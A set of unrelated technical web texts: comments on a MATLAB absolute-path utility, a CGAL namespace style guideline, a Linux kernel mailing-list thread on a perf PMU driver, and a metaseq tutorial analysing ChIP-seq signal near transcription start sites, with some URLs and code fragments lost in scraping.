I downvoted because of the code quality. There are no less than 831 lines of code across all the m and c files (including tests). 831 lines. For a function that returns the absolute path of a file. Really. Is this really what is considered high quality MATLAB code? A C extension was necessary for this? How much time in your MATLAB code is spent computing the absolute path? Enough to merit writing a C extension? I have a hard time believing that.
@Charles: I do not see a reason for down-rating, because it is not my fault that there is no built-in function yet.
It's very concerning that this amount of MATLAB code AND a C extension is needed to get the absolute path of a file AND that this became Pick of the Week. A 30-year-old language still has no native function to get the absolute path of a file.
If anyone wants to lower the length limit at which GetFullPath generates UNC path, this tiny modification seem to work:
Just under line 86:
-------------------
#include <wchar.h>
-------------------
add the following two lines:
-------------------
#undef MAX_PATH
#define MAX_PATH 230
-------------------
(To test it with ease, one may firstly limit MAX_PATH to, say, 20; and check if GetFullPath would return
--------------------------------------
>> GetFullPath('c:\123456789123456789')
ans =
\\?\c:\123456789123456789
--------------------------------------
).
@Igor: Thanks for your comments. Even with 257 or 256 some problems remain, e.g. MKDIR requires a path with less than 248 characters (why?):
str = ['C:\Temp\', repmat('abcdefghkl\', 1, 23)]
mkdir(p(1:248)) % Error: filename or extension is too long
The long path cannot be created in the Windows Explorer or deleted to the recycler.
Therefore I still think, that these are limitations of DIR and MKDIR, and it isn't a good idea to include the workarounds in GetFullPath. Enhanced DIR and MKDIR commands would be more efficient and direct.
But to go a step further: Actually this is a problem of Windows, which still suffers from this ridiculous limitations which have been comprehensible in the pre-NTFS times only.
You are welcome to change the limit in the code to 257, and I'm convinced there will still be problems and inconsistencies as for all other limits also. Therefore I'd prefer improved file handling functions instead of adjusting GetFullPath.
Thanks for the update!
Though, some Matlab functions (like "dir") still fail for 258-long path on my R2012b.
Example:
Just create a directory like this anyhow:'
then:
>> isdir(p)
ans =
1
>> exist(p)
ans =
7
>> length(p)
ans =
258
>> dir.
>> isequal(GetFullPath(p),p)
ans =
1
>> dir(GetFullPath(p)
dir(GetFullPath(p)
|
Error: Expression or statement is incorrect--possibly unbalanced (, {, or [.
>> dir(GetFullPath.
>> dir(['\\?\' p])
. ..
====================
So, maybe it's worth changing the limit to, say, 257 characters?
Thanks, very useful; I too have needed this but run into trouble in various ways so never been fully satisfied with my solution. I don't fully understand the C-windows API method, but looks like it is working on my PC... For preparation of paths I can get away with cd(cd('/the/path/string'))...
Thanks Igor! There is another problem if the the full path has 254 characters. While Windows accept this, Matlab's DIR command doesn't. I'm going to post an improved version soon.
It looks like I've found another bug - if one try to use an 255+ long UNS path as GetFullPath argument, (for example: nested GetFullPath) this may result in duplicate prefix, i.e. invalid filename.
---------------------------------------
K>>>> GetFullPath( =
\\?\UNC\?>>
I was having the same problem as Daniel (with the 01May2011 version). Using the 03Nov2011 version fixes that behavior.
Running the tests on Linux (32-bit) still breaks though:
>> uTest_GetFullPath
==== Test GetFullPath 09-Dec-2011 14:21:31
Function: /home/psexton/Documents/MATLAB/GetFullPath_03Nov2011/GetFullPath.m
Current path: /home/psexton/Documents/MATLAB/GetFullPath_03Nov2011
ok: /home/psexton/Documents/MATLAB/GetFullPath_03Nov2011, Folder: [Folder/]
ok: /home/psexton/Documents/MATLAB/GetFullPath_03Nov2011, File: File
ok: ../Folder/
ok: ../../Folder/
ok: ../../../Folder/
ok: ../../../../Folder/
ok: ../../../../../Folder/
ok: ../File
ok: ../../File
ok: ../../../File
ok: ../../../../File
ok: ../../../../../File
Path: [/home/psexton/Documents/MATLAB/GetFullPath_03Nov2011/..] ==> error
GetFullPath replied: [/home/psexton/Documents/MATLAB]
Expected: [home/psexton/Documents/MATLAB]
Error using uTest_GetFullPath (line 202)
Error using uTest_GetFullPath (line 196)
uTest_GetFullPath: GetFullPath with folder failed
@Daniel: I've tried to improve the code, but cannot test it under Linux.
I am not sure this works on Linux ...
GetFullPath('/home/test/../')
gives /ho/home/
Yes, the non-mex version (which I didn't originally see) is very good.
@Oliver: Or use the shipped M-version, which runs on Win/MacOS/Linux, considers the cases "C:", "..", "." and "~/", and does not change the current path.
If you comment out the warning about the unfound MEX, GetFullPath.m is 2.5 times faster than FULLPATH for files without path, and 40 times faster for file with a realtive or full path (WinXP, 2009a).
For those people wanting a function that works across platforms, doesn't require mexing, and who don't care so much about speed, an alternative is:
Thanks Urs! The doc is fixed.
jan
this should be corrected
- System.IO.FileInfo is a .NET component (available only in more recent ML versions)
- java.io.File is the java class
urs
Exactly what I needed.
I included this GetFullPath into my setup files which prepare the Matlab paths. And now these paths do not contain '\..' anymore. Effect: Matlab uses only one path for a file instead of multiple, which had confused the debugger.
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.CGAL's makefile does this by setting
-DLEDA_PREFIX. Initially, CGAL used prefix
CGAL_. At the beginning of 1999, it was decided to drop prefix
CGAL_ and to introduce namespace
CGAL.
All names introduced by CGAL should be in namespace
CGAL, e.g.:
Make sure not to have include statements nested between
namespace CGAL { and
} // namespace CGAL. Otherwise all names defined in the file included will be added to namespace
CGAL.
All names introduced by CGAL which are not documented to the user should be under an
internal subnamespace of
CGAL, e.g.:
According to the resolutions of the following issues in the forthcoming C++-standard ( 225, 226 229. ):
Unless otherwise specified, no global or non-member function in the standard library shall use a function from another namespace which is found through argument-dependent name lookup , the namespace
CGAL::NTS does not need to be used anymore (currently
CGAL_NTS macro boils down to
CGAL::).
Requirements:
CGAL(including namespaces nested in namespace
CGAL).
square,
sign,
abs, \( \dots\) ) by
CGAL::to ensure the functions used are the one from CGAL and not one from another library. If you want to allow an optimized function from another library to be used, then you should not qualify the call and document it explicitly (if appropriate).
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On 02/22/2018 03:33 AM, Mark Rutland wrote:
On Wed, Feb 21, 2018 at 06:32:46PM -0800, Saravana Kannan wrote:On 01/02/2018 03:25 AM, Suzuki K Poulose wrote:+static int dsu_pmu_event_init(struct perf_event *event) +{ + struct dsu_pmu *dsu_pmu = to_dsu_pmu(event->pmu); + + if (event->attr.type != event->pmu->type) + return -ENOENT;You are checking if the caller set the attr.type "correctly".This is necessary for the case where perf_init_event() falls back to iterating over the list of PMUs, if event->attr.type wasn't found in the idr. Without this, we'd erroneously check events intended for other PMUs. So this is correct, and necessary.
Right, I'm aware of this. Which is why I also mentioned below that we can't just blindly delete this.Right, I'm aware of this. Which is why I also mentioned below that we can't just blindly delete this.
+static int dsu_pmu_device_probe(struct platform_device *pdev)+ rc = perf_pmu_register(&dsu_pmu->pmu, name, -1);You are passing in -1 here. Which means the event type is assigned by the perf framework. perf framework uses idr_alloc(&pmu_idr, ...) to get the id. So the id assigned is going to depend on the probe order among the different PMU drivers in the board/platform. So, this seems pretty random.The dynamic IDs are supposed to by looked up by name. Each PMU has a folder: /sys/bus/event_source/devices/$PMU ... with /sys/bus/event_source/devices/$PMU/type giving the type.How is the caller supposed to know what to set the "type" to?The perf tools understand this already. If you do: perf stat -e $PMU/config=0xf00/ ... they will look up the type for that PMU and use it automatically.
Ah, thanks! This finally explains how this is supposed to work from userspace.Ah, thanks! This finally explains how this is supposed to work from userspace.
You also can't just delete the check in dsu_pmu_event_init() because the event numbers you expose overlap with the per-CPU event numbers.The type check is necessary and cannot be deleted. It provides a namespace for the event IDs.
Right. Which is my point too.
I'm not exactly sure if we can add entries to perf_type_id. If that's allowed maybe we need to add something line PERF_TYPE_DSU and use that? Or if that's not allowed then would it be better to offset the DSU PMU events by some number (say 0x1000) and then delete the event type check or pass PERF_TYPE_RAW to perf_pmu_register()?As above, neither of these should be necessary.
For the userspace interface. How about the kernel interface though?perf_event_create_kernel_counter() takes attr.type as an input. But there's no way to look up the DSU PMU's "type".
Thanks, Saravana -- Qualcomm Innovation Center, Inc. The Qualcomm Innovation Center, Inc. is a member of Code Aurora Forum, a Linux Foundation Collaborative Project
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This example demonstrates the use of metaseq for performing a common task when analyzing ChIP-seq data: what does transcription factor binding signal look like near transcription start sites?
The IPython Notebook of this example can be found in the source directory (doc/source/example_session.ipynb) or at
The syntax of this document follows that of the IPython notebook. For example, calls out to the shell are prefixed with a “!”; if not then the code is run in Python.
# Enable in-line plots for this example %matplotlib inline
This example uses data that can be downloaded from. See that repository for details on how the data were prepared; here’s how to download the prepared data:
%%bash example_dir="metaseq-example" if [ -e $example_dir ]; then echo "already exists"; else mkdir -p $example_dir (cd $example_dir \ && wget --progress=dot:giga \ && tar -xzf metaseq-example-data.tar.gz \ && rm metaseq-example-data.tar.gz) fi
--2015-08-06 11:11:20-- Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 23.235.46.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|23.235.46.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 96655384 (92M) [application/octet-stream] Saving to: ‘metaseq-example-data.tar.gz’ 0K ........ ........ ........ ........ 34% 20.2M 3s 32768K ........ ........ ........ ........ 69% 13.6M 2s 65536K ........ ........ ........ .... 100% 31.7M=4.8s 2015-08-06 11:11:26 (19.1 MB/s) - ‘metaseq-example-data.tar.gz’ saved [96655384/96655384]
# From now on, we can just use `data_dir` data_dir = 'metaseq-example/data'
# What did we get? !ls $data_dir
GSM847565_SL2585.gtf.gz GSM847565_SL2585.table GSM847566_SL2592.gtf.gz GSM847566_SL2592.table Homo_sapiens.GRCh37.66_chr17.gtf Homo_sapiens.GRCh37.66_chr17.gtf.db Homo_sapiens.GRCh37.66.gtf.gz wgEncodeHaibTfbsK562Atf3V0416101AlnRep1_chr17.bam wgEncodeHaibTfbsK562Atf3V0416101AlnRep1_chr17.bam.bai wgEncodeHaibTfbsK562Atf3V0416101RawRep1_chr17.bigWig wgEncodeHaibTfbsK562RxlchV0416101AlnRep1_chr17.bam wgEncodeHaibTfbsK562RxlchV0416101AlnRep1_chr17.bam.bai wgEncodeHaibTfbsK562RxlchV0416101RawRep1_chr17.bigWig
Our goal is to look at the ChIP-seq signal over transcription start sites (TSSes) of genes. Typically in this sort of analysis we start with annotations; here we’re using the annotations from Ensembl. If we’re lucky, TSSes will already be annotated. Failing that, perhaps 5’UTRs are annotated, so we could take the 5’ end of the 5’UTR as the TSS. Let’s see what the Ensembl data gives us.
!head -n 3 $data_dir/Homo_sapiens.GRCh37.66_chr17.gtf
chr17 protein_coding exon 30898 31270 . - . gene_id "ENSG00000187939"; transcript_id "ENST00000343572"; exon_number "1"; gene_name "DOC2B"; gene_biotype "protein_coding"; transcript_name "DOC2B-201"; chr17 protein_coding CDS 30898 31270 . - 0 gene_id "ENSG00000187939"; transcript_id "ENST00000343572"; exon_number "1"; gene_name "DOC2B"; gene_biotype "protein_coding"; transcript_name "DOC2B-201"; protein_id "ENSP00000343665"; chr17 protein_coding start_codon 31268 31270 . - 0 gene_id "ENSG00000187939"; transcript_id "ENST00000343572"; exon_number "1"; gene_name "DOC2B"; gene_biotype "protein_coding"; transcript_name "DOC2B-201";
GTF files have the feature type in the 3rd field. So what kind of featuretypes do we have here?
!cut -f 3 $data_dir/Homo_sapiens.GRCh37.66_chr17.gtf | sort | uniq -c
34137 CDS 45801 exon 3355 start_codon 3265 stop_codon
With only these featuretypes to work with, we would need to do the following to identify the TSS of each transcript: * find all exons for the transcript * sort the exons by start position * if the transcript is on the “+” strand, TSS is the start position of the first exon * if the transcript is on the “-” strand, TSS is the end position of the last exon
Luckily, ``gffutils` <>`__ is able to infer transcripts and genes from a GTF file. The inferred transcripts and genes are already in the prepared gffutils database, at $data_dir/Homo_sapiens.GRCh37.66_chr17.gtf.db. First we connect to it:
import os import gffutils db = gffutils.FeatureDB(os.path.join(data_dir, 'Homo_sapiens.GRCh37.66_chr17.gtf.db'))
We’ll use ``pybedtools` <>`__ for interval manipulation.
Here we create a generator function that iterates through all annotated transcripts in the database. For each transcript, we convert it to a pybedtools.Interval and use the TSS function to give us the 1-bp position of the TSS, and save it as a new file.
Here is a general usage pattern for gffutils and pybedtools: do the work in a generator function, and pass the generator to pybedtools.BedTool. This uses very little memory, and scales well to hundreds of thousands of features.
import pybedtools from pybedtools.featurefuncs import TSS from gffutils.helpers import asinterval def tss_generator(): """ Generator function to yield TSS of each annotated transcript """ for transcript in db.features_of_type('transcript'): yield TSS(asinterval(transcript), upstream=1, downstream=0) # A BedTool made out of a generator, and saved to file. tsses = pybedtools.BedTool(tss_generator()).saveas('tsses.gtf')
Now that we have a TSS file, we can modify it in different ways. Maybe we want to look at TSS +/- 1kb. Or 5kb. Or just 3kb upstream.
For this example, let’s use pybedtools to add 1kb to either side of the TSS. This uses the BEDTools slop routine; see the docs for that program for how to make changes to up/downstream distances.
tsses_1kb = tsses.slop(b=1000, genome='hg19', output='tsses-1kb.gtf')
metaseq works with the concepts of signal and windows. In this example, the signal is ChIP data, and the windows are TSS +/- 1kb.
The first step is to create “genomic signal” objects out of the data. Since our example files are BAM files, we specify the kind=’bam’, but if you have your own data in a different format (bigWig, bigBed, BED, GFF, GTF, VCF) then specify that format instead (see metaseq.genomic_signal()).
We need to pass the filenames of the BAM files:
import metaseq ip_signal = metaseq.genomic_signal( os.path.join(data_dir, 'wgEncodeHaibTfbsK562Atf3V0416101AlnRep1_chr17.bam'), 'bam') input_signal = metaseq.genomic_signal( os.path.join(data_dir, 'wgEncodeHaibTfbsK562RxlchV0416101AlnRep1_chr17.bam'), 'bam')
Now we can create the arrays of signal over each window. Since this can be a time-consuming step, the first time this code is run it will cache the arrays on disk. The next time this code is run, it will be quickly loaded. Trigger a re-run by deleting the .npz file.
Here, with the BamSignal.array method, we bin each promoter region into 100 bins, and calculate the signal in parallel across as many CPUs as are available. We do this for the IP signal and input signals separately. Then, since these are BAM files of mapped reads, we scale the arrays to the library size. The scaled arrays are then saved to disk, along with the windows that were used to create them.
import multiprocessing processes = multiprocessing.cpu_count() if not os.path.exists('example.npz'): # The signal is the IP ChIP-seq BAM file. ip_array = ip_signal.array( # Look at signal over these windows tsses_1kb, # Bin signal into this many bins per window bins=100, # Use multiple CPUs. Dramatically speeds up run time. processes=processes) # Do the same thing for input. input_array = input_signal.array( tsses_1kb, bins=100, processes=processes) # Normalize to library size. The values in the array # will be in units of "reads per million mapped reads" ip_array /= ip_signal.mapped_read_count() / 1e6 input_array /= input_signal.mapped_read_count() / 1e6 # Cache to disk. The data will be saved as "example.npz" and "example.features". metaseq.persistence.save_features_and_arrays( features=tsses, arrays={'ip': ip_array, 'input': input_array}, prefix='example', link_features=True, overwrite=True)
Now that we’ve saved to disk, at any time in the future we can load the data without having to regenerate them:
features, arrays = metaseq.persistence.load_features_and_arrays(prefix='example')
Let’s do some double-checks.
# How many features? assert len(features) == 5708 # This ought to be exactly the same as the number of features in `tsses_1kb.gtf` assert len(features) == len(tsses_1kb) == 5708 # This shows that `arrays` acts like a dictionary assert sorted(arrays.keys()) == ['input', 'ip'] # This shows that the IP and input arrays have one row per feature, and one column per bin assert arrays['ip'].shape == (5708, 100) == arrays['input'].shape
Now that we have NumPy arrays of signal over windows, there’s a lot we can do. One easy thing is to simply plot the mean signal of IP and of input. Let’s construct meaningful values for the x-axis, from -1000 to +1000 over 100 bins. We’ll do this with a NumPy array.
import numpy as np x = np.linspace(-1000, 1000, 100)
Then plot, using standard ``matplotlib` <>`__ commands:
# Import plotting tools from matplotlib import pyplot as plt # Create a figure and axes fig = plt.figure() ax = fig.add_subplot(111) # Plot the IP: ax.plot( # use the x-axis values we created x, # axis=0 takes the column-wise mean, so with # 100 columns we'll have 100 means to plot arrays['ip'].mean(axis=0), # Make it red color='r', # Label to show up in legend label='IP') # Do the same thing with the input ax.plot( x, arrays['input'].mean(axis=0), color='k', label='input') # Add a vertical line at the TSS, at position 0 ax.axvline(0, linestyle=':', color='k') # Add labels and legend ax.set_xlabel('Distance from TSS (bp)') ax.set_ylabel('Average read coverage (per million mapped reads)') ax.legend(loc='best');
Let’s work on improving this plot, one step at a time.
We don’t really know if this average signal is due to a handful of really strong peaks, or if it’s moderate signal over many peaks. So one improvement would be to include a heatmap of the signal over all the TSSs.
First, let’s create a single normalized array by subtracting input from IP:
normalized_subtracted = arrays['ip'] - arrays['input']
metaseq comes with some helper functions to simplify this kind of plotting. The metaseq.plotutils.imshow function is one of these; here the arguments are described:
# Tweak some font settings so the results look nicer plt.rcParams['font.family'] = 'Arial' plt.rcParams['font.size'] = 10 # the metaseq.plotutils.imshow function does a lot of work, # we just have to give it the right arguments: fig = metaseq.plotutils.imshow( # The array to plot; here, we've subtracted input from IP. normalized_subtracted, # X-axis to use x=x, # Change the default figure size to something smaller for this example figsize=(3, 7), # Make the colorbar limits go from 5th to 99th percentile. # `percentile=True` means treat vmin/vmax as percentiles rather than # actual values. percentile=True, vmin=5, vmax=99, # Style for the average line plot (black line) line_kwargs=dict(color='k', label='All'), # Style for the +/- 95% CI band surrounding the # average line (transparent black) fill_kwargs=dict(color='k', alpha=0.3), )
print "asdf"
asdf
The array is not very meaningful as currently sorted. We can adjust the sorting this either by re-ordering the array before plotting, or using the sort_by kwarg when calling metaseq.plotutils.imshow. Let’s sort the rows by their mean value:=normalized_subtracted.mean(axis=1) )
We can use any number of arbitrary sorting methods. For example, this sorts the rows by the position of the highest signal in the row. Note that the line plot, which is the column-wise average, remains unchanged since we’re still using the same data. The rows are just sorted differently.=np.argmax(normalized_subtracted, axis=1) )
Let’s go back to the sorted-by-mean version.
fig = metaseq.plotutils.imshow( normalized_subtracted, x=x, figsize=(3, 7), vmin=5, vmax=99, percentile=True, line_kwargs=dict(color='k', label='All'), fill_kwargs=dict(color='k', alpha=0.3), sort_by=normalized_subtracted.mean(axis=1) )
Now we’ll make some tweaks to the plot. The figure returned by metaseq.plotutils.imshow has attributes array_axes, line_axes, and cax, which can be used as an easy way to get handles to the axes for further configuration. Let’s make some additional tweaks:
# "line_axes" is our handle for working on the lower axes. # Add some nicer labels. fig.line_axes.set_ylabel('Average enrichment'); fig.line_axes.set_xlabel('Distance from TSS (bp)'); # "array_axes" is our handle for working on the upper array axes. # Add a nicer axis label fig.array_axes.set_ylabel('Transcripts on chr17') # Remove the x tick labels, since they're redundant # with the line axes fig.array_axes.set_xticklabels([]) # Add a vertical line to indicate zero in both the array axes # and the line axes fig.array_axes.axvline(0, linestyle=':', color='k') fig.line_axes.axvline(0, linestyle=':', color='k') fig.cax.set_ylabel("Enrichment") fig
Often we want to compare ChIP-seq data with RNA-seq data. But RNA-seq data typically is presented as gene ID, while ChIP-seq data is presented as genomic coords. These can be tricky to reconcile.
We will use example data from ATF3 knockdown experiments them to subset the ChIP signal by those TSSs that were affected by knockdown and those that were not.
This example uses pre-processed data downloaded from GEO. We’ll use a simple (and naive) 2-fold cutoff to identify transcripts that went up, down, or were unchanged upon ATF3 knockdown. In real-world analysis, you’d probaby have a table from DESeq2 or edgeR analysis that you would use instead.
The metaseq.results_table module has tools for working with this kind of data (for example, the metaseq.results_table.DESeq2Results class). Here, we will make a generic ResultsTable which handles any kind of tab-delimited data. It’s important to specify the index column. This is the column that contains the transcript IDs in these files.
from metaseq.results_table import ResultsTable control = ResultsTable( os.path.join(data_dir, 'GSM847565_SL2585.table'), import_kwargs=dict(index_col=0)) knockdown = ResultsTable( os.path.join(data_dir, 'GSM847566_SL2592.table'), import_kwargs=dict(index_col=0))
metaseq.results_table.ResultsTable objects are wrappers around pandas.DataFrame objects, so if you already know pandas you know how to manipulate these objects. The pandas.DataFrame is always available as the data attribute.
Here are the first 5 rows of the control object, which show that the index is id, which are Ensembl transcript IDs, and there are two columns, score and fpkm:
# --------------------------------------------------------- # Inspect results to see what we're working with print len(control.data) control.data.head()
85699
We should ensure that control and knockdown have their transcript IDs in the same order as the rows in the heatmap array, and that they only contain transcript IDs from chr17.
The ResultsTable.reindex_to method is very useful for this – it takes a pybedtools.BedTool object and re-indexes the underlying dataframe so that the order of the dataframe matches the order of the features in the file. In this way we can re-align RNA-seq data to ChIP-seq data for more direct comparison.
Remember the tsses_1kb object that we used to create the array? That defined the order of the rows in the array. We can use that to re-index the dataframes. Let’s look at the first line from that file to see how the transcript ID information is stored:
# --------------------------------------------------------- # Inspect the GTF file originally used to create the array print tsses_1kb[0]
chr17 gffutils_derived transcript 37025255 37027255 . + . transcript_id "ENST00000318008"; gene_id "ENSG00000002834";
The Ensembl transcript ID is stored in the transcript_id field of the GTF attributes:
transcript_id "ENST00000318008"; gene_id "ENSG00000002834";
The ResultsTable is indexed by transcript ID. Note that DESeq2 and edgeR results are typically indexed by gene, rather than trancscript, ID. So when working with your own data, be sure to select the GTF attribute whose values will be found in the ResultsTable index.
Here, we tell the ResultsTable.reindex_to method which attribute it should pay attention to when realigning the data:
# --------------------------------------------------------- # Re-align the ResultsTables to match the GTF file control = control.reindex_to(tsses, attribute='transcript_id') knockdown = knockdown.reindex_to(tsses, attribute='transcript_id')
Note that we now have a different order – the first 5 rows are now different compared to when we checked before.
Also, the number of rows in the table has decreased dramatically. Recall that tsses_1kb only contained features from chr17. The original data table had all transcripts. By reindexing the table to match the tsses_1kb, we lose all of the non-chr17 transcripts.
print len(control) control.data.head()
5708
Also note that second transcript, with NaN values. It turns out that transcript was not in the original RNA-seq results data table:
original_control = ResultsTable( os.path.join(data_dir, 'GSM847565_SL2585.table'), import_kwargs=dict(index_col=0)) 'ENST00000419929' in original_control.data.index
False
This may be because the experiment from GEO used something other than Ensembl annotations when running the analysis. It’s actually not clear from the GEO entry what they used. Anyway, in order to make sure the rows in the table match the rows in the array, NaNs are added as values.
Let’s do some double-checks to make sure things are set up correctly:
# Everything should be the same length assert len(control.data) == len(knockdown.data) == len(tsses_1kb) == 5708 # Spot-check some values to make sure the GTF file and the DataFrame match up. assert tsses[0]['transcript_id'] == control.data.index[0] assert tsses[100]['transcript_id'] == control.data.index[100] assert tsses[5000]['transcript_id'] == control.data.index[5000]
Now for some more data-wrangling. We’ll use basic ``pandas` <>`__ operations to merge the control and knockdown data together into a single table. We’ll also create a new log2foldchange column.
# Join the dataframes and create a new pandas.DataFrame. data = control.data.join(knockdown.data, lsuffix='_control', rsuffix='_knockdown') # Add a log2 fold change variable data['log2foldchange'] = np.log2(data.fpkm_knockdown / data.fpkm_control) data.head()
We can investigate some basic stats:
# --------------------------------------------------------- # How many transcripts on chr17 changed expression? print "up:", sum(data.log2foldchange > 1) print "down:", sum(data.log2foldchange < -1)
up: 735 down: 514
Let’s return to the heatmap. In addition to the average coverage line we already have, we’d like to add additional lines in another panel. The metaseq.plotutils.imshow function is very flexible, and uses matplotlib.gridspec for organizing the axes. This means we can ask for an additional axes by overriding the default height_ratios tuple, using (3, 1, 1). This says to make 3 axes, where the first one is 3x the height of the other two.
fig = metaseq.plotutils.imshow( # Same as before... normalized_subtracted, x=x, figsize=(3, 7), vmin=5, vmax=99, percentile=True, line_kwargs=dict(color='k', label='All'), fill_kwargs=dict(color='k', alpha=0.3), sort_by=normalized_subtracted.mean(axis=1), # Default was (3,1); here we add another number height_ratios=(3, 1, 1) ) # `fig.gs` contains the `matplotlib.gridspec.GridSpec` object, # so we can now create the new axes. bottom_axes = plt.subplot(fig.gs[2, 0])
The metaseq.plotutils.ci_plot function takes an array and plots the mean signal +/- 95% CI bands. This was actually called automatically before for our line plot of average signal across all TSSes.
Now, let’s create a custom plot that separates TSSes into up, down, and unchanged in the ATF3 knockdown.
Importantly, since we’ve aligned the RNA-seq data table and the array, we can calculate subsets in the RNA-seq data (as boolean indexes) and use those same indexes into the array itself.
For clarity, let’s split up each step separately for the upregulated genes.
# This is a pandas.Series, True where the log2foldchange was >1 upregulated = (data.log2foldchange > 1) upregulated
id ENST00000318008 False ENST00000419929 False ENST00000433206 True ENST00000435347 False ENST00000443937 False ENST00000359238 False ENST00000393405 True ENST00000439357 False ENST00000452859 True ENST00000003834 True ENST00000379061 False ENST00000457710 False ENST00000003607 False ENST00000540200 True ENST00000158166 True ... ENST00000562182 False ENST00000564549 False ENST00000566140 False ENST00000566930 False ENST00000567452 False ENST00000569893 False ENST00000569279 False ENST00000565271 False ENST00000567351 False ENST00000569284 False ENST00000569543 False ENST00000565120 False ENST00000562555 False ENST00000570002 False ENST00000565472 False Name: log2foldchange, Length: 5708, dtype: bool
# This gets us the underlying boolean NumPy array which we # can use to subset the array index = upregulated.values index
array([False, False, True, ..., False, False, False], dtype=bool)
# This is the subset of the array where the TSS of the transcript # went up in the ATF3 knockdown upregulated_chipseq_signal = normalized_subtracted[index, :] upregulated_chipseq_signal
array([[ 1.03915645, -1.84141782, 0.03746102, ..., -1.84141782, 3.11746936, 3.11746936], [-1.84141782, 2.07831291, 0. , ..., 1.03915645, 1.03915645, -2.88057427], [-2.88057427, 2.07831291, 2.07831291, ..., 0. , 1.03915645, -1.84141782], ..., [ 1.03915645, -1.84141782, 1.27605155, ..., 0. , 0. , -2.88057427], [ 0. , -2.88057427, 0. , ..., -0.80226136, 1.86838231, 4.15662582], [ 0. , 0. , 0. , ..., -1.84141782, -1.84141782, -8.64172281]])
# We can combine the above steps into the following: subset = normalized_subtracted[(data.log2foldchange > 1).values, :]
Now we just use the same technique for the up, down, and unchanged transcripts. Each one of them gets passed to the ci_plot method, which plots the line in the color we specify (line_kwargs, fill_kwargs) on the axes we specify (bottom_axes).
# Signal over TSSs of transcripts that were activated upon knockdown. metaseq.plotutils.ci_plot( x, normalized_subtracted[(data.log2foldchange > 1).values, :], line_kwargs=dict(color='#fe9829', label='up'), fill_kwargs=dict(color='#fe9829', alpha=0.3), ax=bottom_axes) # Signal over TSSs of transcripts that were repressed upon knockdown metaseq.plotutils.ci_plot( x, normalized_subtracted[(data.log2foldchange < -1).values, :], line_kwargs=dict(color='#8e3104', label='down'), fill_kwargs=dict(color='#8e3104', alpha=0.3), ax=bottom_axes) # Signal over TSSs tof transcripts that did not change upon knockdown metaseq.plotutils.ci_plot( x, normalized_subtracted[((data.log2foldchange >= -1) & (data.log2foldchange <= 1)).values, :], line_kwargs=dict(color='.5', label='unchanged'), fill_kwargs=dict(color='.5', alpha=0.3), ax=bottom_axes);
Finally, we do some cleaning up to make the figure look nicer (axes labels, legend, vertical lines at zero):
# Clean up redundant x tick labels, and add axes labels fig.line_axes.set_xticklabels([]) fig.array_axes.set_xticklabels([]) fig.line_axes.set_ylabel('Average\nenrichement') fig.array_axes.set_ylabel('Transcripts on chr17') bottom_axes.set_ylabel('Average\nenrichment') bottom_axes.set_xlabel('Distance from TSS (bp)') fig.cax.set_ylabel('Enrichment') # Add the vertical lines for TSS position to all axes for ax in [fig.line_axes, fig.array_axes, bottom_axes]: ax.axvline(0, linestyle=':', color='k') # Nice legend bottom_axes.legend(loc='best', frameon=False, fontsize=8, labelspacing=.3, handletextpad=0.2) fig.subplots_adjust(left=0.3, right=0.8, bottom=0.05) fig
We can save the figure to disk in different formats for manuscript preparation:
fig.savefig('demo.png') fig.savefig('demo.svg')
It appears that transcripts unchanged by ATF3 knockdown have the strongest ChIP signal. Transcripts that went up upon knockdown (that is, ATF3 normally represses them) had a slightly higher signal than those transcripts that went down (normally activated by ATF3).
Interestingly, even though we used a crude cutoff of 2-fold for a single replicate, and we only looked at chr17, the direction of the relationship we see here – where ATF3-repressed genes have a higher signal than ATF3-activated – is consistent with ATF3’s known repressive role.
This section shows some examples of more advanced metaseq usage without as much explanatory text as above. More knowledge about pandas, numpy, and matplotlib are expected here. For further details, see the metaseq docs and source code for the functions used below.
Note that K-means clustering is non-deterministic – running it multiple times will give different clusters since the initial state is set randomly.
# K-means input data should be normalized (mean=0, stddev=1) from sklearn import preprocessing X_scaled = preprocessing.scale(normalized_subtracted) k = 4 ind, breaks = metaseq.plotutils.new_clustered_sortind( # The array to cluster X_scaled, # Within each cluster, how the rows should be sorted row_key=np.mean, # How each cluster should be sorted cluster_key=np.median, # Number of clusters k=k)
# Plot the heatmap again fig = metaseq.plotutils.imshow( normalized_subtracted, x=x, figsize=(3, 9), vmin=5, vmax=99, percentile=True, line_kwargs=dict(color='k', label='All'), fill_kwargs=dict(color='k', alpha=0.3), # A little tricky: `sort_by` expects values to sort by # (say, expression values). But we've pre-calculated # our actual sort index based on clusters, so we transform # it like this sort_by=np.argsort(ind), # This adds a "strip" axes on the right side, useful # for adding extra information. We'll add cluster color # codes here. strip=True, ) # De-clutter by hiding labels plt.setp( fig.strip_axes.get_yticklabels() + fig.strip_axes.get_xticklabels() + fig.array_axes.get_xticklabels(), visible=False) # fig.line_axes.set_ylabel('Average\nenrichement') fig.array_axes.set_ylabel('Transcripts on chr17') fig.strip_axes.yaxis.set_label_position('right') fig.strip_axes.set_ylabel('Cluster') fig.cax.set_ylabel('Enrichment') # Make colors import matplotlib cmap = matplotlib.cm.Spectral colors = cmap(np.arange(k) / float(k)) # This figure will contain average signal for each cluster fig2 = plt.figure(figsize=(10,3)) last_break = 0 cluster_number = 1 n_panel_rows = 1 n_panel_cols = k for color, this_break in zip(colors, breaks): if cluster_number == 1: sharex = None sharey = None else: sharex = fig2.axes[0] sharey = fig2.axes[0] ax = fig2.add_subplot( n_panel_rows, n_panel_cols, cluster_number, sharex=sharex, sharey=sharey) # The y position is somewhat tricky: the array was # displayed using matplotlib.imshow with the argument # `origin="lower"`, which means the row in the plot at y=0 # corresponds to the last row in the array (index=-1). # But the breaks are in array coordinates. So we convert # them by subtracting from the total array size. xpos = 0 width = 1 ypos = len(normalized_subtracted) - this_break height = this_break - last_break rect = matplotlib.patches.Rectangle( (xpos, ypos), width=width, height=height, color=color) fig.strip_axes.add_patch(rect) fig.array_axes.axhline(ypos, color=color, linewidth=2) chunk = normalized_subtracted[last_break:this_break] metaseq.plotutils.ci_plot( x, chunk, ax=ax, line_kwargs=dict(color=color), fill_kwargs=dict(color=color, alpha=0.3), ) ax.axvline(0, color='k', linestyle=':') ax.set_title('cluster %s\n(N=%s)' % (cluster_number, len(chunk))) cluster_number += 1 last_break = this_break
More examples of integrating ChIP-seq and RNA-seq. This uses the data dataframe created above, which contains RNA-seq data aligned with the ChIP-seq array.
